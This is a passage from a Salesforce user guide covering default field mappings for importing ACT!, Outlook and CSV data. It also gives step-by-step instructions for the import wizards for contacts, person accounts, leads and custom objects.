form: jsmith@acme.com)

Fax Contact: Fax and


Account: Fax

Fax Ext. Contact: Business Fax Ext.


First Name Contact: First Name
Home Address 1 Contact: Other Address 1
Home Address 2 Contact: Other Address 2
Home Address 3 Contact: Other Address 3
Home City Contact: Other City
Home Country Contact: Other Country
Home Phone Contact: Home Phone
Home State Contact: Other State
Home Zip Contact: Other Postal Code
ID/Status Account: Type
Last Name Contact: Last Name
Mobile Phone Contact: Mobile Phone
Note Does not import
Phone Contact: Phone and
Account: Phone

Phone Ext. Contact: Business Phone Ext.


Referred By Contact: Lead Source
Revenue Account: Annual Revenue
State Contact: Mailing State and
Account: Billing State

Ticker Symbol Account: Ticker Symbol


Title Contact: Title

308
Data Management Preparing Your Data for Import

ACT! Field Import Field


Web Site Account: Website
Zip Contact: Mailing Postal Code
Account: Billing Postal Code

2nd Contact 2nd Contact: Name


2nd Phone 2nd Contact: Phone
2nd Phone Ext. 2nd Contact: Phone Ext.
2nd Title 2nd Contact: Title
3rd Contact 3rd Contact: Name
3rd Phone 3rd Contact: Phone
3rd Phone Ext. 3rd Contact: Phone Ext.
3rd Title 3rd Contact: Title
2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note
Attempt, Last Meeting, Last Reach, Last Results,
(In Professional, Enterprise, Unlimited, and Developer Edition
Letter Date, Pager, Spouse, User 1-15
organizations, you specify which fields import into a single
contact or account note; separate notes are not created for each
ACT! field.)

See Also:
Exporting from ACT!

Default Field Mapping for Outlook


Available in: All Editions

This table details how Outlook fields map toSalesforce.com account and contact import fields during an individual data import.

Outlook Field Import Field


Assistant’s Name Contact: Assistant’s Name
Assistant’s Phone Contact: Asst Phone
Birthday Contact: Birthdate
Business City Contact: Mailing City and
Account: Billing City

309
Data Management Preparing Your Data for Import

Outlook Field Import Field


Business Country Contact: Mailing Country and
Account: Billing Country

Business Fax Contact: Fax and


Account: Fax

Business Phone Contact: Phone


Business Postal Code Contact: Mailing Postal Code
Account: Billing Postal Code

Business Street Contact: Mailing Address and


Account: Billing Address

Business Street 2 Contact: Mailing Address and


Account: Billing Address

Business Street 3 Contact: Mailing Address and


Account: Billing Address

Company Account: Account Name and


Contact: Account

Company Main Phone Account: Phone


Department Contact: Department
E-mail Contact: Email
(The import wizard verifies this is a valid email address in the
form: jsmith@acme.com)

First Name Contact: First Name


Home City Contact: Other City
Home Country Contact: Other Country
Home Phone Contact: Home Phone
Home Postal Code Contact: Other Postal Code
Home Street Contact: Other Address
Home Street 2 Contact: Other Address
Home Street 3 Contact: Other Address
Job Title Contact: Title
Last Name Contact: Last Name

310
Data Management Preparing Your Data for Import

Outlook Field Import Field


Manager's Name Contact: Reports To
(In addition, if the name in this field does not match an
existing contact, a new contact is created with the manager’s
name.)

Mobile Phone Contact: Mobile Phone


Notes Contact: Description
Other Phone Contact: Other Phone
Referred By Contact: Lead Source
Title Contact: Salutation
Web Page Account: Website
Account, Anniversary, Billing Information, Contact: Note or Account: Note
Business Phone 2, Callback, Car Phone,
(In Professional, Enterprise, Unlimited, and Developer Edition
Categories, Children, Directory Server, E-mail
organizations, you specify which fields import into a single
2, E-mail 3, Government ID Number, Hobby, Home
contact or account note; separate notes are not created for each
Fax, Home Phone 2, Internet Free/Busy Address,
Outlook field.)
ISDN, Keywords, Language, Location, Middle Name,
Mileage, Office Location, Organizational ID
Number, Other City, Other Country, Other Fax,
Other Postal Code, Other State, Other Street,
Other Street 2, Other Street 3, Pager, PO Box,
Primary Phone, Profession, Radio Phone, Spouse,
Suffix, Telex, TTY/TDD Phone, User 1, User 2, User
3, User 4

See Also:
Exporting from Outlook

Field Mapping for Other Data Sources and Organization Import

Available in: All Editions


Organization import not available in: Personal Edition

If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook
or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the
import. Before importing your data, Salesforce.com recommends that you use Excel to label the columns in your import file
with the labels listed below.

311
Data Management Preparing Your Data for Import

Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same
field multiple times if necessary—for example, for the account and contact address fields.

Common Fields for Contacts and Accounts


Label for Your Import File Salesforce.com Field
Record Owner Contact: Contact Owner and
(Note: For individual imports, this field is not necessary, since Account: Account Owner
all data you import is automatically owned by you. In addition,
when importing records by Salesforce.com record ID, this
field is ignored.)

Currency ISO Code Contact: Contact Currency and


(Note: You can use this field only for organization imports in Account: Account Currency
organizations that use multiple currencies. For more
information, see Importing Multiple Currencies on page 297.)

Contact Fields
Label for Your Import File Salesforce.com Field
Assistant Contact: Assistant
Asst. Phone Contact: Asst. Phone
Asst. Phone Ext. Appended to Contact: Asst. Phone
Birthdate Contact: Birthdate
Business Fax Contact: Fax
Business Fax Ext. Appended to Contact: Fax
Business Phone Contact: Phone
Business Phone Ext. Appended to Contact: Phone
Contact Description Contact: Description
Contact Full Name or Contact: First Name and
First Name & Last Name Contact: Last Name
(Note: When importing contact names, use either Contact
Full Name or First Name and Last Name, but not both.)

Contact ID Contact: Contact ID


(Note: Record IDs are case-sensitive and should not be
changed.)

Contact Note Creates a note attached to the contact

312
Data Management Preparing Your Data for Import

Contact Fields
Label for Your Import File Salesforce.com Field
Department Contact: Department
E-mail Address Contact: Email
(Note: The import wizard verifies this is a valid email address
in the form: jsmith@acme.com.)

Email Opt Out Contact: Email Opt Out


(Note: Use “1” to indicate that user opts out; use “0” to indicate
that user wants emails.)

Home Phone Contact: Home Phone


Home Phone Ext. Appended to Contact: Home Phone
Lead Source Contact: Lead Source
Mailing City Contact: Mailing City
Mailing Country Contact: Mailing Country
Mailing Postal Code Contact: Mailing Address Zip/Postal Code
Mailing State Contact: Mailing State/Province
Mailing Street 1 Contact: Mailing Address
Mailing Street 2 Contact: Mailing Address
Mailing Street 3 Contact: Mailing Address
Mobile Phone Contact: Mobile
Mobile Phone Ext. Appended to Contact: Mobile
Other City Contact: Other City
Other Country Contact: Other Country
Other Phone Contact: Other Phone
Other Phone Ext. Appended to Contact: Other Phone
Other Postal Code Contact: Other Address Zip/Postal Code
Other State Contact: Other State/Province
Other Street 1 Contact: Other Address
Other Street 2 Contact: Other Address
Other Street 3 Contact: Other Address
Reports To Contact: Reports To

313
Data Management Preparing Your Data for Import

Contact Fields
Label for Your Import File Salesforce.com Field
(Note: If the import wizard cannot find a contact that matches
the name in this field, it will create a new contact using this
value as the Contact: First Name & Last Name.)

Salutation Prefixed to Contact: First Name


Title Contact: Title
2nd Contact Split into Contact: First Name & Last Name for a second
contact for the account
2nd Phone Contact: Phone for a second contact for the account
2nd Phone Ext. Appended to Contact: Phone for a second contact for the
account
2nd Title Contact: Title for a second contact for the account
3rd Contact Split into Contact: First Name & Last Name for a third
contact for the account
3rd Phone Contact: Phone for a third contact for the account
3rd Phone Ext. Appended to Contact: Phone for a third contact for the
account
3rd Title Contact: Title for a third contact for the account

Account Fields
Label for Your Import File Salesforce.com Field
Account Description Account: Description
Account Division Account: Account Division
(Note: You do not need to specify this field if you choose to
assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owner’s default
division for each record.)

Account Fax Account: Fax


Account Fax Ext. Appended to Account: Fax
Account ID Account: Account ID
(Note: Record IDs are case-sensitive and should not be
changed.)

Account Name Account: Account Name and


Contact: Account

314
Data Management Preparing Your Data for Import

Account Fields
Label for Your Import File Salesforce.com Field
Account Note Creates a note attached to the account
Account Number Account: Account Number
Account Phone Account: Phone
Account Phone Ext. Appended to Account: Phone
Account Site Account: Account Site
Account Type Account: Type
Billing City Account: Billing City
Billing Country Account: Billing Country
Billing Postal Code Account: Billing Zip/Postal Code
Billing State Account: Billing State/Province
Billing Street 1 Account: Billing Address
Billing Street 2 Account: Billing Address
Billing Street 3 Account: Billing Address
Employees Account: Employees
Industry Account: Industry
Ownership Account: Ownership
Parent Account Account: Parent Account
(Note: If the import wizard cannot find an account that
matches the parent account name, it will create a new account
using this value as the Account Name.)

Parent Account Site Account: Account Site


(Note: Indicates the site value of Parent Account.) (Note: Maps to the Account Site field in the parent
account.)

Rating Account: Rating


Revenue Account: Annual Revenue
Shipping City Account: Shipping City
Shipping Country Account: Shipping Country
Shipping Postal Code Account: Shipping Zip/Postal Code
Shipping State Account: Shipping State/Province
Shipping Street 1 Account: Shipping Address
Shipping Street 2 Account: Shipping Address

315
Data Management Preparing Your Data for Import

Account Fields
Label for Your Import File Salesforce.com Field
Shipping Street 3 Account: Shipping Address
SIC Code Account: SIC Code
Ticker Symbol Account: Ticker Symbol
Website Account: Website

Note: If you include record types in your import file, the Import Wizard uses the record owner’s default record type
when creating new records. For existing records, the Import Wizard does not update the record type field. For more
information, see Managing Record Types on page 611.

Field Mapping for Importing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

When you import leads, the Import My Organization’s Leads wizard and the campaign Import Leads wizard map the fields
in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing
your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table
below.
Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in
mapping your data. You must fine-tune the mapping in the Import Wizard.

Label for Your Import File Salesforce.com Lead Field


Annual Revenue Annual Revenue

City City

Company Company

Country Country

Lead Currency
Currency ISO Code

(Note: You can use this field only for organizations that use
multiple currencies see Importing Multiple Currencies on
page 297.)

Description Description

Email
Email

(The import wizard verifies this is a valid email address in the


form: jsmith@acme.com)

316
Data Management Preparing Your Data for Import

Label for Your Import File Salesforce.com Lead Field


Email Opt Out
Email Opt Out

(Use “1” to indicate that the user opts out; use “0” to indicate
that the user wants emails.)

No. of Employees No. of Employees

Fax Fax

First Name and Last Name


Full Name orFirst Name & Last Name

(Note: When importing lead names, use either Full Name


or First Name and Last Name, but not both.)

Industry Industry

Lead Division
Lead Division

(Note: You do not need to specify this field if you choose to


assign the division via the drop-down list on Step 1 of the
import wizard. If you do not map this field or use the division
drop-down list, the division is set to the record owner’s default
division for each record.)

Lead ID
Lead ID

(Note: Record IDs are case-sensitive and should not be


changed.)

Lead Source
Lead Source

(Note: You do not need to specify this field if you choose to


assign the same Lead Source to all leads on the first page
of the import wizard.)

Lead Status Lead Status

Mobile Phone Mobile

Phone Phone

Postal Code Postal Code

Rating Rating

Lead Owner
Record Owner

(Note: You do not need this field if assigning ownership via


a lead assignment rule. In addition, when importing records
by Salesforce.com record ID, this field is ignored.)

Salutation Added to beginning of First Name

317
Data Management Accessing the Import Wizards

Label for Your Import File Salesforce.com Lead Field


State State

Status Status

(For campaign Import Leads wizard only) (in the Campaign History related list of a lead)

Street 1 Address

Street 2 Address

Street 3 Address

Title Title

Website Website

Note:
If you include record types in this list, the Import Wizard uses the record owner’s default record type when creating
new records. For existing records, the Import Wizard does not update the record type field.
If you choose to use assignment rules, the Import Wizard uses the new owner’s default record type when creating new
records. When the assignment rules assign the record to a queue, the queue owner’s default record type is used.

See Also:
Import My Organization’s Leads

Accessing the Import Wizards


For Records You Own
Import wizards for records you personally own are located at Setup ➤ Import:
• Import My Contacts
• Import My Person Accounts

For Your Organization's Records


Import wizards for organization-wide data are located at Setup ➤ Data Management:
• Import My Organization’s Accounts and Contacts
• Import My Organization's Person Accounts
• Import My Organization’s Leads
• Import My Organization's Solutions
• Import My Organization's Custom Objects

For Campaign Members


To access the campaign import wizards, view a campaign and click Manage Members. Then click the appropriate link:

318
Data Management Accessing the Import Wizards

• Add Members - Import File (Lead Import Wizard )


• Update & Add Members - Import File (Campaign Update Wizard)

See Also:
Importing Overview
Importing Articles
FAQ: Importing

Import My Contacts
Available in: All Editions

With the Import My Contacts wizard, any user can import up to 500 personal contacts and associated business accounts.
Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on page 298) and
correctly prepared your data (see Preparing Your Data for Import on page 304).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard


Navigate to Setup ➤ Import ➤ Import My Accounts & Contacts, and click Start the Import Wizard!. Alternatively,
click the Import My Accounts & Contacts link in the Tools area of the account home page. Note that the labels for
business contacts and business accounts may have been renamed by your administrator, in which case the “Import My...”
links may have customized text.
2. Select the source

a. Specify the source application of your data - ACT!, Outlook, or other data source (any CSV file).
b. Click Next to continue.

3. Upload the file

a. Click Browse to load your file.


b. If importing from ACT! or Outlook, click Import Now!, or click Customize Mappings to verify the field mappings.
c. If importing from any other source, select the character encoding of the file. Most users will not need to change the
default setting.
d. Choose whether to match your contacts by name or by email. This field sets the criteria for avoiding duplicates. For
example, if you are matching by email and a record in your source file has the same email as a record in Salesforce.com,
then that record will be updated in Salesforce.com. If you are not matching by email and there is a record in
Salesforce.comwith the same email, then a new record will be created.
e. Choose Next to continue.

4. Map the fields

319
Data Management Accessing the Import Wizards

a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 304.
b. Note that there is no Record Owner field; you are automatically assigned as the owner of any data you import. On
the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing business account fields with your import data. Note that you cannot use this checkbox to update existing field
data with blank values.
c. You can import data only into the fields that are editable for you in your page layout or field-level security settings.
(See Managing Page Layouts on page 618 and Setting Field-Level Security on page 217. Field-level security is available
in Enterprise, Unlimited, and Developer Editions only.)
d. When all fields are assigned correctly, click Next.

5. Map the miscellaneous fields

a. The wizard reports the fields that do not map.


In Professional, Enterprise, Unlimited, and Developer Edition organizations, you can choose whether the unmapped
fields should be imported into an business account or contact Note or should not be imported at all. The fields are
imported into a single business account Note or a single contact Note; separate note fields are not created for each
import field.
b. When all fields are assigned correctly, click Import Now!.

See Also:
Accessing the Import Wizards

320
Data Management Accessing the Import Wizards

Import My Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your own person accounts: “Create” on accounts
AND
“Read” on contacts
AND
“Import Personal Contacts”
AND
At least one person account record type available for your
profile

With the Import My Person Accounts wizard, you can import person accounts that you own. To understand how person
account records are matched to prevent duplicates, see What Is Imported for Person Accounts? on page 291.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.

Follow these steps to import your person accounts. Click each link for more details.

1. Launch the wizard


2. Prevent duplicate records
3. Select record type
4. Upload your import file
5. Map fields
6. Confirm and submit your import
7. Complete your import

Launch the wizard


1. To import your person accounts, choose Setup ➤ Import ➤ Import My Person Accounts.
Alternatively, click Import My Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Prevent Duplicate Records


1. Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.

321
Data Management Accessing the Import Wizards

2. Choose what you want to happen if matches are found - only import new records, only update existing records, or update
existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Select record type


1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.

322
Data Management Accessing the Import Wizards

3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 369.

See Also:
Accessing the Import Wizards

Import My Organization’s Accounts and Contacts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With the Import My Organization’s Accounts and Contacts wizard, administrators, and users with the “Modify All Data”
permission, can import up to 50,000 business accounts and contacts at a time for multiple users. Before beginning, make sure
you have created an export file (see Creating Export Files for Import Wizards on page 298) and correctly prepared your data
(see Preparing Your Data for Import on page 304).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Go to Setup ➤ Data Management ➤ Import Accounts/Contacts (or Import Business Accounts/Contacts if your
organization uses person accounts). Review the steps provided on the welcome page, then click Start the Import Wizard!.
Alternatively, click the appropriate link in the Tools area of the accounts home page.
Note: If your organization uses person accounts and the labels for business accounts and business contacts have
been renamed, the renamed labels will appear in the Tools area of the accounts home page, but not in the Data
Management area under Setup. (Renamed labels do not appear in any pages under App Setup or Administration
Setup.)

2. Create your import file.

a. Follow the instructions to create an import file, or see Creating Export Files for Import Wizards on page 298.
b. Click Next to continue.

3. Upload the file.

a. Click Browse to load your file.


b. Select the character encoding of your file. Most users will not need to change the default character encoding setting.
c. Choose whether to match your organization’s contacts by Salesforce.com ID, name, or email. Similarly, choose whether
to match your organization’s accounts by Salesforce.com ID or by name and site. Note that matching by Salesforce.com
ID is inclusive of both contacts and accounts.
These Matching Type fields set the criteria for avoiding duplicates. For example, if you are matching by email and
a record in your source file has the same email as a record in Salesforce.com, then that record will be updated in
Salesforce.com. If you are not matching by email and there is a record in Salesforce.com with the same email, then a
new record will be created. Note that contacts are matched only within the same account. If contacts related to different
accounts have the same name or email, they treated as separate contacts.
d. Organizations that use the translation workbench can specify the language of the import data.

323
Data Management Accessing the Import Wizards

e. If you use divisions, select a division to assign to all imported records. Alternatively, select “None” to use the record
owner’s default division on each record, or specify the division in your import file.
f. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
g. Click Next to continue.

4. Map the fields.

a. On four different mapping pages, the wizard associates the Salesforce.com field names with the field names from your
import file. You must check the default mappings and alter any incorrect mappings. For more information about the
default field mappings, see Preparing Your Data for Import on page 304.
b. Remember to map the Record Owner field with your Record Owner field so that record ownership is assigned
correctly. When importing records by Salesforce.com record ID, the Record Owner field in your import file is ignored.
All records retain their existing owners; record owners cannot be updated using the import wizard.
c. On the Map Account Fields page, check the Overwrite existing account values box if you want to overwrite
existing account fields with your import data. Note that you cannot use this checkbox to update existing field data with
blank values.
d. When all fields are assigned correctly, click Next.

5. Map the miscellaneous fields.

a. The wizard reports the fields that do not map. In Professional, Enterprise, Unlimited, and Developer Edition
organizations, you can choose whether the unmapped fields should be imported into an account or contact Note or
should not be imported at all. The fields are imported into a single account Note or a single contact Note; separate
note fields are not created for each import field.
b. When all fields are assigned correctly, click Next.

6. Review and confirm.

a. If there are warnings on this page, stop the import process and correct your import file.
b. Select Import Now! to send your import request. Your data is imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import (see Undoing
an Import on page 335).

7. Check the Import Queue.

a. You can use the Import Queue to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization page. For imports that have
not begun processing, you can click Del to cancel the import.

Note: If your organization uses territory management, your imported accounts are always evaluated by account
assignment rules. See Territory Management Overview on page 2131.

See Also:
Accessing the Import Wizards

324
Data Management Accessing the Import Wizards

Import My Organization's Person Accounts


Person account import available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import your organization's person accounts: “Import Person Accounts”

With the Import My Organization's Person Accounts wizard, you can import person accounts that are owned by different
users. To understand how person account records are matched to prevent duplicates, see What Is Imported for Person Accounts?
on page 291.
Note: If the label for person accounts has been renamed for your organization, the renamed label will appear in the
import wizard itself and in the Tools area of the accounts home page, but not in the Data Management area under
Setup. (Renamed labels do not appear in any pages under App Setup or Administration Setup.)

Follow these steps to import person accounts for your organization.

1. Launch the wizard


2. Prevent duplicate records
3. Specify owner and lookup relationships
4. Select record type
5. Upload your import file
6. Map fields
7. Confirm and submit your import
8. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


To import person accounts for your organization:
1. Choose Setup ➤ Data Management ➤ Import Person Accounts.
Alternatively, click Import My Organization's Person Accounts in the Tools area of the accounts home page.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:

325
Data Management Accessing the Import Wizards

• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify owner and lookup relationships


1. Specify the field in your import file that contains person account owners.
When you choose “Name,” the following formats are valid:
• First name followed by last name
• Last name followed by first name
• Alias
• Username
For more information, see User Fields on page 52.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Select record type


1. Choose the record type that you want to assign to the records in your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.

326
Data Management Accessing the Import Wizards

Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 369.

See Also:
Accessing the Import Wizards

Import My Organization’s Leads


Available in: Group, Professional, Enterprise, Unlimited, and DeveloperEditions

User Permissions Needed


To use the Import My Organization's Leads wizard: “Read”, “Create”, and “Edit” on leads
AND
“Import Leads”

With the Import My Organization’s Leads wizard, administrators, users with the Marketing User profile, or users with the
“Import Leads” permission and “Read,” “Create,” and “Edit” permissions on leads can import up to 50,000 leads at a time for
multiple users. Before beginning, make sure you have created an export file (see Creating Export Files for Import Wizards on
page 298) and correctly prepared your data (see Field Mapping for Importing Leads on page 316).
Note: We recommend you import a small test file first to make sure that you have prepared your import file correctly.

1. Start the wizard.


Click Setup ➤ Data Management ➤ Import Leads, and click Start the Import Wizard.

327
Data Management Accessing the Import Wizards

2. Upload the file.

a. Select Browse to load your import file.


b. If desired, select a value to import into the Lead Source field of all imported leads. Alternatively, you can assign the
lead source via a Lead Source field in your import file. You must specify a Lead Source value that is not marked
as “Converted”; leads with a “Converted” status will not be imported.
c. Next, choose a lead assignment rule to determine the owners of imported leads (see Managing Assignment Rules on
page 699). If you have a Record Owner field in your import file, do not select an assignment rule. Without an assignment
rule or a Record Owner field in your import file, all leads are assigned to the administrator doing the import. When
importing records by Salesforce.com record ID, the Record Owner field in your import file is ignored. All records
retain their existing owners; record owners cannot be updated using the import wizard.
d. If you have chosen an assignment rule, select the Use assignment rule settings to send notification
emails to record owners checkbox to send notification emails to owners of newly created leads. If you do not
select the checkbox, no email notifications are sent, regardless of your assignment rule settings.
e. Then select the character encoding of your file. Most users do not need to change the default setting.
f. Choose whether to match your organization’s leads by Salesforce.com ID, name, or email. This field sets the criteria
for avoiding duplicates. For example, if you are matching by email and a record in your source file has the same email
as a record in Salesforce.com, then that record will be updated in Salesforce.com. If you are not matching by email and
there is a record in Salesforce.com with the same email, then a new record will be created. Select a matching type of
“None” if you do not want to de-duplicate leads; a new record will be created for every lead in your import file.
When importing new leads for a campaign, the Matching Type option is not available; the wizard does not merge
duplicate leads.
g. Organizations that use the translation workbench can specify the language of the import data.
h. If you use divisions, select a division to assign to all imported records. Alternatively, select “None” to use the record
owner’s default division on each record, or specify the division in your import file.
i. Select the checkbox to trigger workflow rules for new and updated records that match workflow rule criteria.
j. If your organization has multiple record types on leads, choose the active record type that will be applied to all leads in
your import file. However, if you are logged in as a user who has a default lead record type selected at Setup ➤ My
Personal Information ➤ Record Type Selection ➤ Lead, then this drop-down list does not display and your default
lead record type is automatically applied to the imported records.
k. Click Next to continue.

3. Map the fields.


a. The wizard associates the Salesforce.com lead field names with the field names in your import file. You must verify
the default mappings and alter any incorrect mappings. For more information about the default mappings, see Field
Mapping for Importing Leads on page 316. Any unmapped fields are not imported.
b. If you chose to avoid duplicate leads (that is, the selected Matching Type is not “None”), check the Overwrite
existing lead values box if you want to overwrite existing lead fields with your import data. Note that you
cannot use this checkbox to update existing field data with blank values.
c. Click Next to continue.

4. Review and confirm.


Choose Import Now! to send your import request. Your leads are imported within the next 24 hours, and we notify you
via email when the import is complete. Once the system begins processing, you cannot cancel the import. See Undoing
an Import on page 335.
5. Check the Import Queue.

328
Data Management Accessing the Import Wizards

You can use the Import Queue link to check the progress of your import. Click Setup ➤ Monitoring ➤ Imports.
Alternatively, click the Import Queue link on the Import Wizard for My Organization’s Leads page. For imports that
have not begun processing, you can click Del to cancel the import.

See Also:
Accessing the Import Wizards

Import My Organization's Custom Objects


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects: “Modify All Data”

With the Import My Organization's Custom Objects wizard, you can import custom objects.
Follow these steps to import custom objects. Click each link for more details.

1. Launch the wizard


2. Choose the custom object
3. Prevent duplicate records
4. Specify owner, master-detail, and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import custom objects, choose Setup ➤ Data Management ➤ Import Custom Objects.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Choose the custom object


1. The first step of the wizard lists the custom objects that have been defined for your organization.
2. Identify the custom object you are importing by selecting the corresponding radio button.
3. Click Next.

329
Data Management Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:
• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify owner, master-detail, and lookup relationships


1. Custom objects can be owned by users, or they can have a master-detail relationship with other records. For example, a
custom object can have a custom field that creates a master-detail relationship with accounts. In that case, your import file
must include the names or IDs of all associated accounts.
• If your custom objects are owned by users, then choose the field in your import file to use for matching record owners.
When you choose “Name,” the following formats are valid:
- First name followed by last name
- Last name followed by first name
- Alias
- Username
For more information, see User Fields on page 52.
• If your records have a master-detail relationship with another kind of record, then choose the field in your import file
to use for matching master records.

2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Set lookup record matching


1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.

Select record type


1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.

330
Data Management Accessing the Import Wizards

2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
